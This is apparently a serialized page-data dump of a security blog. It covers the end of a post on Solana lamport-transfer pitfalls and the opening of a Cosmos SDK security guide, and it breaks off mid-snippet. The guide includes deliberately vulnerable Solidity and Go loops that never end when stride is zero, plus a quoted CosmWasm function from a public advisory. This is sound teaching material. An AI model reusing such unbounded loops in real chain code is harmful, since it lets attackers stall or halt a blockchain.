{\n",{"type":24,"tag":930,"props":78835,"children":78836},{"class":932,"line":984},[78837],{"type":24,"tag":930,"props":78838,"children":78839},{"style":1242},[78840],{"type":30,"value":78841},"+       assert!(ctx.accounts.new_king.key() != secp256r1_program::id());\n",{"type":24,"tag":33,"props":78843,"children":78844},{},[78845,78847,78852],{"type":30,"value":78846},"This works in the short term, but doesn’t scale — you can’t predict all future additions to the ",{"type":24,"tag":156,"props":78848,"children":78850},{"className":78849},[],[78851],{"type":30,"value":78688},{"type":30,"value":78853}," list. The moment a new reserved account is introduced, your program becomes vulnerable again.",{"type":24,"tag":21995,"props":78855,"children":78857},{"id":78856},"attempt-2-use-a-pda-vault",[78858],{"type":30,"value":78859},"Attempt 2: Use a PDA Vault",{"type":24,"tag":33,"props":78861,"children":78862},{},[78863,78865,78870],{"type":30,"value":78864},"A more future-proof fix is to avoid ",{"type":24,"tag":275,"props":78866,"children":78867},{},[78868],{"type":30,"value":78869},"transferring lamports to arbitrary accounts",{"type":30,"value":78871}," altogether.",{"type":24,"tag":33,"props":78873,"children":78874},{},[78875],{"type":30,"value":78876},"A clean approach would be to store the refund lamports in a PDA vault owned by your program. This prevents your logic from depending on accounts you don’t have complete control over, and sidesteps any risk of write-demotion or future account restrictions.",{"type":24,"tag":68,"props":78878,"children":78880},{"id":78879},"final-thoughts",[78881],{"type":30,"value":78882},"Final Thoughts",{"type":24,"tag":33,"props":78884,"children":78885},{},[78886],{"type":30,"value":78887},"Transferring lamports on Solana is not always straightforward and carries potential risks. Account constraints alone are insufficient to ensure safety, especially when dealing with runtime-specific edge cases.",{"type":24,"tag":33,"props":78889,"children":78890},{},[78891],{"type":30,"value":78892},"We can safely transfer lamports to an account under the following conditions:",{"type":24,"tag":96,"props":78894,"children":78895},{},[78896,78901,78906],{"type":24,"tag":100,"props":78897,"children":78898},{},[78899],{"type":30,"value":78900},"It's not executable.",{"type":24,"tag":100,"props":78902,"children":78903},{},[78904],{"type":30,"value":78905},"Its balance, after the transfer, remains rent-exempt.",{"type":24,"tag":100,"props":78907,"children":78908},{},[78909],{"type":30,"value":78910},"It's not a reserved account.",{"type":24,"tag":33,"props":78912,"children":78913},{},[78914],{"type":30,"value":78915},"This issue is not purely theoretical; it has impacted real-world programs. One significant case was recently reported to Jito via the bug bounty, which could have resulted in incorrect tip payments.",{"type":24,"tag":5957,"props":78917,"children":78918},{},[78919],{"type":30,"value":5961},{"title":7,"searchDepth":984,"depth":984,"links":78921},[78922,78923,78924,78930],{"id":27,"depth":984,"text":31},{"id":74305,"depth":984,"text":74308},{"id":75412,"depth":984,"text":75415,"children":78925},[78926,78927,78929],{"id":75418,"depth":993,"text":75421},{"id":76105,"depth":993,"text":78928},"Bug 2: Writable but Untouchable — set_lamports Fails",{"id":77409,"depth":993,"text":77412},{"id":78879,"depth":984,"text":78882},"content:blog:2025-05-14-king-of-the-sol.md","blog/2025-05-14-king-of-the-sol.md","blog/2025-05-14-king-of-the-sol",{"_path":78935,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":78936,"description":78937,"date":78938,"author":78939,"image":78940,"isFeatured":16,"onBlogPage":16,"tags":78942,"body":78945,"_type":5983,"_id":92816,"_source":5985,"_file":92817,"_stem":92818,"_extension":5988},"/blog/2025-06-10-cosmos-security","Cosmos Security: An Otter's Guide","From infinite loops and map determinism to AnteHandler missteps and storage key collisions, we highlight real-world vulnerabilities and actionable advice for building safer Cosmos-based projects.","2025-06-10","james",{"src":78941,"width":15,"height":15},"/posts/cosmos-security/title.png",[78943,78944],"cosmos-sdk","security",{"type":21,"children":78946,"toc":92794},[78947,78951,78956,78961,78967,78972,78977,78982,79241,79729,79748,79753,79758,79763,79769,79774,79809,79819,80326,80346,80359,80365,80370,80375,80616,80621,80629,80641,81003,81008,81013,81049,81058,81484,81505,81511,81531,81552,81571,81603,81615,81627,82280,82308,82317,82757,82784,82804,82809,82830,82879,82888,84113,84141,84147,84152,84157,84177,84464,84498,84679,84684,84689,84733,84742,85934,86185,86198,86204,86238,86243,86306,86311,86331,86350,86362,86381,87072,87077,87082,87110,87119,88004,88031,88037,88057,88062,88075,88249,88262,88353,88358,88366,88376,88526,88531,88551,88559,88564,88962,88974,88979,89020,89031,89051,89359,89364,90289,90301,90309,90314,91305,91310,91322,91342,91361,92275,92332,92438,92450,92455,92460,92488,92497,92723,92749,92762,92776,92780,92785,92790],{"type":24,"tag":68,"props":78948,"children":78949},{"id":27},[78950],{"type":30,"value":31},{"type":24,"tag":33,"props":78952,"children":78953},{},[78954],{"type":30,"value":78955},"The Cosmos SDK is an \"L1 toolkit\" for developers. It provides an open-source tool that enhances the ability to build application-specific L1 chains, all while prioritizing flexibility and control over the entire runtime environment. Unfortunately, with the convenience of the Cosmos SDK, security can be an oversight.",{"type":24,"tag":33,"props":78957,"children":78958},{},[78959],{"type":30,"value":78960},"In this comprehensive blog post, we break down security issues that are often overseen by developers, supported by real-world examples from live projects. Our goal is to provide a practical exploration of security vulnerabilities while also offering insights on how developers can identify and address these issues on their own.",{"type":24,"tag":68,"props":78962,"children":78964},{"id":78963},"its-loopin-time",[78965],{"type":30,"value":78966},"It's Loopin' Time",{"type":24,"tag":33,"props":78968,"children":78969},{},[78970],{"type":30,"value":78971},"There are notable differences in building app-specific L1s using the SDK and building contracts on established L1 chains. It is especially crucial to recognize that maintaining the stability of a blockchain is dependent on the developer.",{"type":24,"tag":33,"props":78973,"children":78974},{},[78975],{"type":30,"value":78976},"Below, we begin to demonstrate the differences between writing smart contracts with Solidity vs developing L1 with the Cosmos SDK.",{"type":24,"tag":33,"props":78978,"children":78979},{},[78980],{"type":30,"value":78981},"Here is a simple example for reference:",{"type":24,"tag":920,"props":78983,"children":78985},{"code":78984,"language":924,"meta":7,"className":922,"style":7},"function sumWithStride(\n    uint64 start,\n    uint64 stride,\n    uint64[] memory arr\n) public returns (uint64) {\n    uint64 idx = start;\n    uint64 sum = 0;\n    uint64 end = arr.length;\n\n    while (idx \u003C end) {\n        sum += arr[idx];\n        idx += stride;\n    }\n    return sum;\n}\n",[78986],{"type":24,"tag":156,"props":78987,"children":78988},{"__ignoreMap":7},[78989,79005,79022,79038,79059,79087,79108,79132,79153,79160,79181,79198,79215,79222,79234],{"type":24,"tag":930,"props":78990,"children":78991},{"class":932,"line":933},[78992,78996,79001],{"type":24,"tag":930,"props":78993,"children":78994},{"style":937},[78995],{"type":30,"value":34469},{"type":24,"tag":930,"props":78997,"children":78998},{"style":1002},[78999],{"type":30,"value":79000}," sumWithStride",{"type":24,"tag":930,"props":79002,"children":79003},{"style":959},[79004],{"type":30,"value":2814},{"type":24,"tag":930,"props":79006,"children":79007},{"class":932,"line":984},[79008,79013,79018],{"type":24,"tag":930,"props":79009,"children":79010},{"style":943},[79011],{"type":30,"value":79012},"    uint64",{"type":24,"tag":930,"props":79014,"children":79015},{"style":1023},[79016],{"type":30,"value":79017}," start",{"type":24,"tag":930,"props":79019,"children":79020},{"style":959},[79021],{"type":30,"value":2832},{"type":24,"tag":930,"props":79023,"children":79024},{"class":932,"line":993},[79025,79029,79034],{"type":24,"tag":930,"props":79026,"children":79027},{"style":943},[79028],{"type":30,"value":79012},{"type":24,"tag":930,"props":79030,"children":79031},{"style":1023},[79032],{"type":30,"value":79033}," stride",{"type":24,"tag":930,"props":79035,"children":79036},{"style":959},[79037],{"type":30,"value":2832},{"type":24,"tag":930,"props":79039,"children":79040},{"class":932,"line":1057},[79041,79045,79050,79054],{"type":24,"tag":930,"props":79042,"children":79043},{"style":943},[79044],{"type":30,"value":79012},{"type":24,"tag":930,"props":79046,"children":79047},{"style":959},[79048],{"type":30,"value":79049},"[] ",{"type":24,"tag":930,"props":79051,"children":79052},{"style":937},[79053],{"type":30,"value":5154},{"type":24,"tag":930,"props":79055,"children":79056},{"style":1023},[79057],{"type":30,"value":79058}," arr\n",{"type":24,"tag":930,"props":79060,"children":79061},{"class":932,"line":1066},[79062,79066,79070,79074,79078,79083],{"type":24,"tag":930,"props":79063,"children":79064},{"style":959},[79065],{"type":30,"value":5579},{"type":24,"tag":930,"props":79067,"children":79068},{"style":937},[79069],{"type":30,"value":64762},{"type":24,"tag":930,"props":79071,"children":79072},{"style":1079},[79073],{"type":30,"value":3900},{"type":24,"tag":930,"props":79075,"children":79076},{"style":959},[79077],{"type":30,"value":1087},{"type":24,"tag":930,"props":79079,"children":79080},{"style":943},[79081],{"type":30,"value":79082},"uint64",{"type":24,"tag":930,"props":79084,"children":79085},{"style":959},[79086],{"type":30,"value":1503},{"type":24,"tag":930,"props":79088,"children":79089},{"class":932,"line":1075},[79090,79094,79099,79103],{"type":24,"tag":930,"props":79091,"children":79092},{"style":943},[79093],{"type":30,"value":79012},{"type":24,"tag":930,"props":79095,"children":79096},{"style":959},[79097],{"type":30,"value":79098}," idx ",{"type":24,"tag":930,"props":79100,"children":79101},{"style":1158},[79102],{"type":30,"value":1161},{"type":24,"tag":930,"props":79104,"children":79105},{"style":959},[79106],{"type":30,"value":79107}," start;\n",{"type":24,"tag":930,"props":79109,"children":79110},{"class":932,"line":1122},[79111,79115,79120,79124,79128],{"type":24,"tag":930,"props":79112,"children":79113},{"style":943},[79114],{"type":30,"value":79012},{"type":24,"tag":930,"props":79116,"children":79117},{"style":959},[79118],{"type":30,"value":79119}," sum ",{"type":24,"tag":930,"props":79121,"children":79122},{"style":1158},[79123],{"type":30,"value":1161},{"type":24,"tag":930,"props":79125,"children":79126},{"style":1242},[79127],{"type":30,"value":1245},{"type":24,"tag":930,"props":79129,"children":79130},{"style":959},[79131],{"type":30,"value":5539},{"type":24,"tag":930,"props":79133,"children":79134},{"class":932,"line":1131},[79135,79139,79144,79148],{"type":24,"tag":930,"props":79136,"children":79137},{"style":943},[79138],{"type":30,"value":79012},{"type":24,"tag":930,"props":79140,"children":79141},{"style":959},[79142],{"type":30,"value":79143}," end ",{"type":24,"tag":930,"props":79145,"children":79146},{"style":1158},[79147],{"type":30,"value":1161},{"type":24,"tag":930,"props":79149,"children":79150},{"style":959},[79151],{"type":30,"value":79152}," arr.length;\n",{"type":24,"tag":930,"props":79154,"children":79155},{"class":932,"line":1144},[79156],{"type":24,"tag":930,"props":79157,"children":79158},{"emptyLinePlaceholder":16},[79159],{"type":30,"value":2412},{"type":24,"tag":930,"props":79161,"children":79162},{"class":932,"line":1169},[79163,79167,79172,79176],{"type":24,"tag":930,"props":79164,"children":79165},{"style":1079},[79166],{"type":30,"value":67459},{"type":24,"tag":930,"props":79168,"children":79169},{"style":959},[79170],{"type":30,"value":79171}," (idx ",{"type":24,"tag":930,"props":79173,"children":79174},{"style":1158},[79175],{"type":30,"value":1350},{"type":24,"tag":930,"props":79177,"children":79178},{"style":959},[79179],{"type":30,"value":79180}," end) {\n",{"type":24,"tag":930,"props":79182,"children":79183},{"class":932,"line":1191},[79184,79189,79193],{"type":24,"tag":930,"props":79185,"children":79186},{"style":959},[79187],{"type":30,"value":79188},"        sum ",{"type":24,"tag":930,"props":79190,"children":79191},{"style":1158},[79192],{"type":30,"value":1684},{"type":24,"tag":930,"props":79194,"children":79195},{"style":959},[79196],{"type":30,"value":79197}," arr[idx];\n",{"type":24,"tag":930,"props":79199,"children":79200},{"class":932,"line":1223},[79201,79206,79210],{"type":24,"tag":930,"props":79202,"children":79203},{"style":959},[79204],{"type":30,"value":79205},"        idx ",{"type":24,"tag":930,"props":79207,"children":79208},{"style":1158},[79209],{"type":30,"value":1684},{"type":24,"tag":930,"props":79211,"children":79212},{"style":959},[79213],{"type":30,"value":79214}," stride;\n",{"type":24,"tag":930,"props":79216,"children":79217},{"class":932,"line":1281},[79218],{"type":24,"tag":930,"props":79219,"children":79220},{"style":959},[79221],{"type":30,"value":1840},{"type":24,"tag":930,"props":79223,"children":79224},{"class":932,"line":1313},[79225,79229],{"type":24,"tag":930,"props":79226,"children":79227},{"style":1079},[79228],{"type":30,"value":20090},{"type":24,"tag":930,"props":79230,"children":79231},{"style":959},[79232],{"type":30,"value":79233}," sum;\n",{"type":24,"tag":930,"props":79235,"children":79236},{"class":932,"line":1335},[79237],{"type":24,"tag":930,"props":79238,"children":79239},{"style":959},[79240],{"type":30,"value":2528},{"type":24,"tag":920,"props":79242,"children":79246},{"code":79243,"language":79244,"meta":7,"className":79245,"style":7},"type MsgSumWithStrideParams struct {\n    Start uint64\n    Stride uint64\n    Arr []uint64\n}\n\ntype MsgSumWithStrideResponse struct {\n    Sum uint64\n}\n\nfunc (ms msgServer) SumWithStride(\n    goCtx context.Context,\n    msg *MsgSumWithStrideParams,\n) (*MsgSumWithStrideResponse, error) {\n    sum := uint64(0)\n    end := uint64(len(msg.Arr))\n    for idx := msg.Start; idx \u003C end; idx += msg.Stride {\n        sum += msg.Arr[idx]\n    }\n    return &MsgSumWithStrideResponse{Sum: sum}, nil\n}\n","go","language-go shiki shiki-themes slack-dark",[79247],{"type":24,"tag":156,"props":79248,"children":79249},{"__ignoreMap":7},[79250,79270,79283,79295,79313,79320,79327,79347,79359,79366,79373,79408,79433,79454,79483,79513,79558,79635,79671,79678,79722],{"type":24,"tag":930,"props":79251,"children":79252},{"class":932,"line":933},[79253,79257,79262,79266],{"type":24,"tag":930,"props":79254,"children":79255},{"style":937},[79256],{"type":30,"value":35844},{"type":24,"tag":930,"props":79258,"children":79259},{"style":943},[79260],{"type":30,"value":79261}," MsgSumWithStrideParams",{"type":24,"tag":930,"props":79263,"children":79264},{"style":937},[79265],{"type":30,"value":24253},{"type":24,"tag":930,"props":79267,"children":79268},{"style":959},[79269],{"type":30,"value":981},{"type":24,"tag":930,"props":79271,"children":79272},{"class":932,"line":984},[79273,79278],{"type":24,"tag":930,"props":79274,"children":79275},{"style":1023},[79276],{"type":30,"value":79277},"    Start",{"type":24,"tag":930,"props":79279,"children":79280},{"style":943},[79281],{"type":30,"value":79282}," uint64\n",{"type":24,"tag":930,"props":79284,"children":79285},{"class":932,"line":993},[79286,79291],{"type":24,"tag":930,"props":79287,"children":79288},{"style":1023},[79289],{"type":30,"value":79290},"    Stride",{"type":24,"tag":930,"props":79292,"children":79293},{"style":943},[79294],{"type":30,"value":79282},{"type":24,"tag":930,"props":79296,"children":79297},{"class":932,"line":1057},[79298,79303,79308],{"type":24,"tag":930,"props":79299,"children":79300},{"style":1023},[79301],{"type":30,"value":79302},"    Arr",{"type":24,"tag":930,"props":79304,"children":79305},{"style":959},[79306],{"type":30,"value":79307}," []",{"type":24,"tag":930,"props":79309,"children":79310},{"style":943},[79311],{"type":30,"value":79312},"uint64\n",{"type":24,"tag":930,"props":79314,"children":79315},{"class":932,"line":1066},[79316],{"type":24,"tag":930,"props":79317,"children":79318},{"style":959},[79319],{"type":30,"value":2528},{"type":24,"tag":930,"props":79321,"children":79322},{"class":932,"line":1075},[79323],{"type":24,"tag":930,"props":79324,"children":79325},{"emptyLinePlaceholder":16},[79326],{"type":30,"value":2412},{"type":24,"tag":930,"props":79328,"children":79329},{"class":932,"line":1122},[79330,79334,79339,79343],{"type":24,"tag":930,"props":79331,"children":79332},{"style":937},[79333],{"type":30,"value":35844},{"type":24,"tag":930,"props":79335,"children":79336},{"style":943},[79337],{"type":30,"value":79338}," MsgSumWithStrideResponse",{"type":24,"tag":930,"props":79340,"children":79341},{"style":937},[79342],{"type":30,"value":24253},{"type":24,"tag":930,"props":79344,"children":79345},{"style":959},[79346],{"type":30,"value":981},{"type":24,"tag":930,"props":79348,"children":79349},{"class":932,"line":1131},[79350,79355],{"type":24,"tag":930,"props":79351,"children":79352},{"style":1023},[79353],{"type":30,"value":79354},"    Sum",{"type":24,"tag":930,"props":79356,"children":79357},{"style":943},[79358],{"type":30,"value":79282},{"type":24,"tag":930,"props":79360,"children":79361},{"class":932,"line":1144},[79362],{"type":24,"tag":930,"props":79363,"children":79364},{"style":959},[79365],{"type":30,"value":2528},{"type":24,"tag":930,"props":79367,"children":79368},{"class":932,"line":1169},[79369],{"type":24,"tag":930,"props":79370,"children":79371},{"emptyLinePlaceholder":16},[79372],{"type":30,"value":2412},{"type":24,"tag":930,"props":79374,"children":79375},{"class":932,"line":1191},[79376,79381,79385,79390,79395,79399,79404],{"type":24,"tag":930,"props":79377,"children":79378},{"style":937},[79379],{"type":30,"value":79380},"func",{"type":24,"tag":930,"props":79382,"children":79383},{"style":959},[79384],{"type":30,"value":1087},{"type":24,"tag":930,"props":79386,"children":79387},{"style":1023},[79388],{"type":30,"value":79389},"ms ",{"type":24,"tag":930,"props":79391,"children":79392},{"style":943},[79393],{"type":30,"value":79394},"msgServer",{"type":24,"tag":930,"props":79396,"children":79397},{"style":959},[79398],{"type":30,"value":5579},{"type":24,"tag":930,"props":79400,"children":79401},{"style":1002},[79402],{"type":30,"value":79403},"SumWithStride",{"type":24,"tag":930,"props":79405,"children":79406},{"style":959},[79407],{"type":30,"value":2814},{"type":24,"tag":930,"props":79409,"children":79410},{"class":932,"line":1223},[79411,79416,79420,79424,79429],{"type":24,"tag":930,"props":79412,"children":79413},{"style":1023},[79414],{"type":30,"value":79415},"    goCtx",{"type":24,"tag":930,"props":79417,"children":79418},{"style":943},[79419],{"type":30,"value":1102},{"type":24,"tag":930,"props":79421,"children":79422},{"style":959},[79423],{"type":30,"value":436},{"type":24,"tag":930,"props":79425,"children":79426},{"style":943},[79427],{"type":30,"value":79428},"Context",{"type":24,"tag":930,"props":79430,"children":79431},{"style":959},[79432],{"type":30,"value":2832},{"type":24,"tag":930,"props":79434,"children":79435},{"class":932,"line":1281},[79436,79441,79445,79450],{"type":24,"tag":930,"props":79437,"children":79438},{"style":1023},[79439],{"type":30,"value":79440},"    msg",{"type":24,"tag":930,"props":79442,"children":79443},{"style":1158},[79444],{"type":30,"value":12924},{"type":24,"tag":930,"props":79446,"children":79447},{"style":943},[79448],{"type":30,"value":79449},"MsgSumWithStrideParams",{"type":24,"tag":930,"props":79451,"children":79452},{"style":959},[79453],{"type":30,"value":2832},{"type":24,"tag":930,"props":79455,"children":79456},{"class":932,"line":1313},[79457,79462,79466,79471,79475,79479],{"type":24,"tag":930,"props":79458,"children":79459},{"style":959},[79460],{"type":30,"value":79461},") (",{"type":24,"tag":930,"props":79463,"children":79464},{"style":1158},[79465],{"type":30,"value":1410},{"type":24,"tag":930,"props":79467,"children":79468},{"style":943},[79469],{"type":30,"value":79470},"MsgSumWithStrideResponse",{"type":24,"tag":930,"props":79472,"children":79473},{"style":959},[79474],{"type":30,"value":962},{"type":24,"tag":930,"props":79476,"children":79477},{"style":943},[79478],{"type":30,"value":17967},{"type":24,"tag":930,"props":79480,"children":79481},{"style":959},[79482],{"type":30,"value":1503},{"type":24,"tag":930,"props":79484,"children":79485},{"class":932,"line":1335},[79486,79491,79496,79501,79505,79509],{"type":24,"tag":930,"props":79487,"children":79488},{"style":1023},[79489],{"type":30,"value":79490},"    sum",{"type":24,"tag":930,"props":79492,"children":79493},{"style":1158},[79494],{"type":30,"value":79495}," :=",{"type":24,"tag":930,"props":79497,"children":79498},{"style":943},[79499],{"type":30,"value":79500}," uint64",{"type":24,"tag":930,"props":79502,"children":79503},{"style":959},[79504],{"type":30,"value":1010},{"type":24,"tag":930,"props":79506,"children":79507},{"style":1242},[79508],{"type":30,"value":1818},{"type":24,"tag":930,"props":79510,"children":79511},{"style":959},[79512],{"type":30,"value":1054},{"type":24,"tag":930,"props":79514,"children":79515},{"class":932,"line":1376},[79516,79521,79525,79529,79533,79537,79541,79545,79549,79554],{"type":24,"tag":930,"props":79517,"children":79518},{"style":1023},[79519],{"type":30,"value":79520},"    end",{"type":24,"tag":930,"props":79522,"children":79523},{"style":1158},[79524],{"type":30,"value":79495},{"type":24,"tag":930,"props":79526,"children":79527},{"style":943},[79528],{"type":30,"value":79500},{"type":24,"tag":930,"props":79530,"children":79531},{"style":959},[79532],{"type":30,"value":1010},{"type":24,"tag":930,"props":79534,"children":79535},{"style":1002},[79536],{"type":30,"value":12247},{"type":24,"tag":930,"props":79538,"children":79539},{"style":959},[79540],{"type":30,"value":1010},{"type":24,"tag":930,"props":79542,"children":79543},{"style":1023},[79544],{"type":30,"value":61035},{"type":24,"tag":930,"props":79546,"children":79547},{"style":959},[79548],{"type":30,"value":436},{"type":24,"tag":930,"props":79550,"children":79551},{"style":1023},[79552],{"type":30,"value":79553},"Arr",{"type":24,"tag":930,"props":79555,"children":79556},{"style":959},[79557],{"type":30,"value":22815},{"type":24,"tag":930,"props":79559,"children":79560},{"class":932,"line":1418},[79561,79565,79570,79574,79579,79583,79588,79592,79597,79601,79606,79610,79614,79618,79622,79626,79631],{"type":24,"tag":930,"props":79562,"children":79563},{"style":1079},[79564],{"type":30,"value":6154},{"type":24,"tag":930,"props":79566,"children":79567},{"style":1023},[79568],{"type":30,"value":79569}," idx",{"type":24,"tag":930,"props":79571,"children":79572},{"style":1158},[79573],{"type":30,"value":79495},{"type":24,"tag":930,"props":79575,"children":79576},{"style":1023},[79577],{"type":30,"value":79578}," msg",{"type":24,"tag":930,"props":79580,"children":79581},{"style":959},[79582],{"type":30,"value":436},{"type":24,"tag":930,"props":79584,"children":79585},{"style":1023},[79586],{"type":30,"value":79587},"Start",{"type":24,"tag":930,"props":79589,"children":79590},{"style":959},[79591],{"type":30,"value":20328},{"type":24,"tag":930,"props":79593,"children":79594},{"style":1023},[79595],{"type":30,"value":79596},"idx",{"type":24,"tag":930,"props":79598,"children":79599},{"style":1158},[79600],{"type":30,"value":11828},{"type":24,"tag":930,"props":79602,"children":79603},{"style":1023},[79604],{"type":30,"value":79605}," end",{"type":24,"tag":930,"props":79607,"children":79608},{"style":959},[79609],{"type":30,"value":20328},{"type":24,"tag":930,"props":79611,"children":79612},{"style":1023},[79613],{"type":30,"value":79596},{"type":24,"tag":930,"props":79615,"children":79616},{"style":1158},[79617],{"type":30,"value":18168},{"type":24,"tag":930,"props":79619,"children":79620},{"style":1023},[79621],{"type":30,"value":79578},{"type":24,"tag":930,"props":79623,"children":79624},{"style":959},[79625],{"type":30,"value":436},{"type":24,"tag":930,"props":79627,"children":79628},{"style":1023},[79629],{"type":30,"value":79630},"Stride",{"type":24,"tag":930,"props":79632,"children":79633},{"style":959},[79634],{"type":30,"value":981},{"type":24,"tag":930,"props":79636,"children":79637},{"class":932,"line":1438},[79638,79643,79647,79651,79655,79659,79663,79667],{"type":24,"tag":930,"props":79639,"children":79640},{"style":1023},[79641],{"type":30,"value":79642},"        sum",{"type":24,"tag":930,"props":79644,"children":79645},{"style":1158},[79646],{"type":30,"value":18168},{"type":24,"tag":930,"props":79648,"children":79649},{"style":1023},[79650],{"type":30,"value":79578},{"type":24,"tag":930,"props":79652,"children":79653},{"style":959},[79654],{"type":30,"value":436},{"type":24,"tag":930,"props":79656,"children":79657},{"style":1023},[79658],{"type":30,"value":79553},{"type":24,"tag":930,"props":79660,"children":79661},{"style":959},[79662],{"type":30,"value":6849},{"type":24,"tag":930,"props":79664,"children":79665},{"style":1023},[79666],{"type":30,"value":79596},{"type":24,"tag":930,"props":79668,"children":79669},{"style":959},[79670],{"type":30,"value":14879},{"type":24,"tag":930,"props":79672,"children":79673},{"class":932,"line":1479},[79674],{"type":24,"tag":930,"props":79675,"children":79676},{"style":959},[79677],{"type":30,"value":1840},{"type":24,"tag":930,"props":79679,"children":79680},{"class":932,"line":1506},[79681,79685,79689,79693,79698,79703,79707,79712,79717],{"type":24,"tag":930,"props":79682,"children":79683},{"style":1079},[79684],{"type":30,"value":20090},{"type":24,"tag":930,"props":79686,"children":79687},{"style":1158},[79688],{"type":30,"value":10253},{"type":24,"tag":930,"props":79690,"children":79691},{"style":943},[79692],{"type":30,"value":79470},{"type":24,"tag":930,"props":79694,"children":79695},{"style":959},[79696],{"type":30,"value":79697},"{",{"type":24,"tag":930,"props":79699,"children":79700},{"style":1023},[79701],{"type":30,"value":79702},"Sum",{"type":24,"tag":930,"props":79704,"children":79705},{"style":959},[79706],{"type":30,"value":18434},{"type":24,"tag":930,"props":79708,"children":79709},{"style":1023},[79710],{"type":30,"value":79711},"sum",{"type":24,"tag":930,"props":79713,"children":79714},{"style":959},[79715],{"type":30,"value":79716},"}, ",{"type":24,"tag":930,"props":79718,"children":79719},{"style":937},[79720],{"type":30,"value":79721},"nil\n",{"type":24,"tag":930,"props":79723,"children":79724},{"class":932,"line":1525},[79725],{"type":24,"tag":930,"props":79726,"children":79727},{"style":959},[79728],{"type":30,"value":2528},{"type":24,"tag":33,"props":79730,"children":79731},{},[79732,79734,79739,79740,79746],{"type":30,"value":79733},"The provided Solidity / Cosmos snippets feature a public function that calculates the sums of an array using a provided starting ",{"type":24,"tag":156,"props":79735,"children":79737},{"className":79736},[],[79738],{"type":30,"value":79596},{"type":30,"value":10425},{"type":24,"tag":156,"props":79741,"children":79743},{"className":79742},[],[79744],{"type":30,"value":79745},"stride",{"type":30,"value":79747},". It is crucial to note that this function lacks robustness. A keen observer might have already identified that if the user supplies a stride value of 0, the code will result in an infinite loop.",{"type":24,"tag":33,"props":79749,"children":79750},{},[79751],{"type":30,"value":79752},"While an infinite loop is not ideal for Solidity, it may still be tolerable. The underlying blockchain on which a smart contract operates is responsible for monitoring the gas and computation budget. It will intervene and terminate the execution at a certain point. Interestingly, those types of \"unhandled error\" patterns are quite common occurrences in contracts.",{"type":24,"tag":33,"props":79754,"children":79755},{},[79756],{"type":30,"value":79757},"However, the same logic does not directly apply to Cosmos. In Cosmos, users are responsible for implementing the entire L1, and there is no underlying computation budget tracker that automatically stops code execution. As a result, any potential logic DoS or infinite loop can directly lead to the custom Cosmos L1 chain halting or stalling.",{"type":24,"tag":33,"props":79759,"children":79760},{},[79761],{"type":30,"value":79762},"This toy scenario captures the importance of attention to error handling, edge cases, and overall robustness in Cosmos.",{"type":24,"tag":151,"props":79764,"children":79766},{"id":79765},"real-world-examples",[79767],{"type":30,"value":79768},"Real-World Examples",{"type":24,"tag":33,"props":79770,"children":79771},{},[79772],{"type":30,"value":79773},"Now, let's examine a few real-world instances.",{"type":24,"tag":33,"props":79775,"children":79776},{},[79777,79779,79785,79786,79792,79794,79800,79802,79808],{"type":30,"value":79778},"In the case of ",{"type":24,"tag":37,"props":79780,"children":79783},{"href":79781,"rel":79782},"https://github.com/JumpCrypto/security-research/blob/e900a400f763075bdae161f4fd6e36d70da1d844/advisories/2023-003-cosmwasm.md",[41],[79784],{"type":30,"value":1722},{"type":30,"value":510},{"type":24,"tag":156,"props":79787,"children":79789},{"className":79788},[],[79790],{"type":30,"value":79791},"CosmWasm",{"type":30,"value":79793}," bug, the helper method ",{"type":24,"tag":156,"props":79795,"children":79797},{"className":79796},[],[79798],{"type":30,"value":79799},"write_to_contract",{"type":30,"value":79801}," negligently calls the untrusted Wasm function ",{"type":24,"tag":156,"props":79803,"children":79805},{"className":79804},[],[79806],{"type":30,"value":79807},"\"allocate\"",{"type":30,"value":436},{"type":24,"tag":33,"props":79810,"children":79811},{},[79812],{"type":24,"tag":37,"props":79813,"children":79816},{"href":79814,"rel":79815},"https://github.com/CosmWasm/cosmwasm/blob/db426f9b15eabf18359df62878847bbaa7cb85ef/packages/vm/src/imports.rs#L409",[41],[79817],{"type":30,"value":79818},"Permalink for snippet",{"type":24,"tag":920,"props":79820,"children":79822},{"code":79821,"language":6101,"meta":7,"className":6102,"style":7},"fn write_to_contract\u003CA: BackendApi, S: Storage, Q: Querier>(\n    env: &Environment\u003CA, S, Q>,\n    input: &[u8],\n) -> VmResult\u003Cu32> {\n    let out_size = to_u32(input.len())?;\n    let result = env.call_function1(\"allocate\", &[out_size.into()])?;\n    let target_ptr = ref_to_u32(&result)?;\n    if target_ptr == 0 {\n        return Err(CommunicationError::zero_address().into());\n    }\n    write_region(&env.memory(), target_ptr, input)?;\n    Ok(target_ptr)\n}\n",[79823],{"type":24,"tag":156,"props":79824,"children":79825},{"__ignoreMap":7},[79826,79895,79943,79971,80000,80049,80123,80168,80191,80236,80243,80300,80319],{"type":24,"tag":930,"props":79827,"children":79828},{"class":932,"line":933},[79829,79833,79838,79842,79847,79851,79856,79860,79864,79868,79873,79877,79882,79886,79891],{"type":24,"tag":930,"props":79830,"children":79831},{"style":937},[79832],{"type":30,"value":23370},{"type":24,"tag":930,"props":79834,"children":79835},{"style":1002},[79836],{"type":30,"value":79837}," write_to_contract",{"type":24,"tag":930,"props":79839,"children":79840},{"style":959},[79841],{"type":30,"value":1350},{"type":24,"tag":930,"props":79843,"children":79844},{"style":943},[79845],{"type":30,"value":79846},"A",{"type":24,"tag":930,"props":79848,"children":79849},{"style":1158},[79850],{"type":30,"value":476},{"type":24,"tag":930,"props":79852,"children":79853},{"style":943},[79854],{"type":30,"value":79855}," BackendApi",{"type":24,"tag":930,"props":79857,"children":79858},{"style":959},[79859],{"type":30,"value":962},{"type":24,"tag":930,"props":79861,"children":79862},{"style":943},[79863],{"type":30,"value":25151},{"type":24,"tag":930,"props":79865,"children":79866},{"style":1158},[79867],{"type":30,"value":476},{"type":24,"tag":930,"props":79869,"children":79870},{"style":943},[79871],{"type":30,"value":79872}," Storage",{"type":24,"tag":930,"props":79874,"children":79875},{"style":959},[79876],{"type":30,"value":962},{"type":24,"tag":930,"props":79878,"children":79879},{"style":943},[79880],{"type":30,"value":79881},"Q",{"type":24,"tag":930,"props":79883,"children":79884},{"style":1158},[79885],{"type":30,"value":476},{"type":24,"tag":930,"props":79887,"children":79888},{"style":943},[79889],{"type":30,"value":79890}," 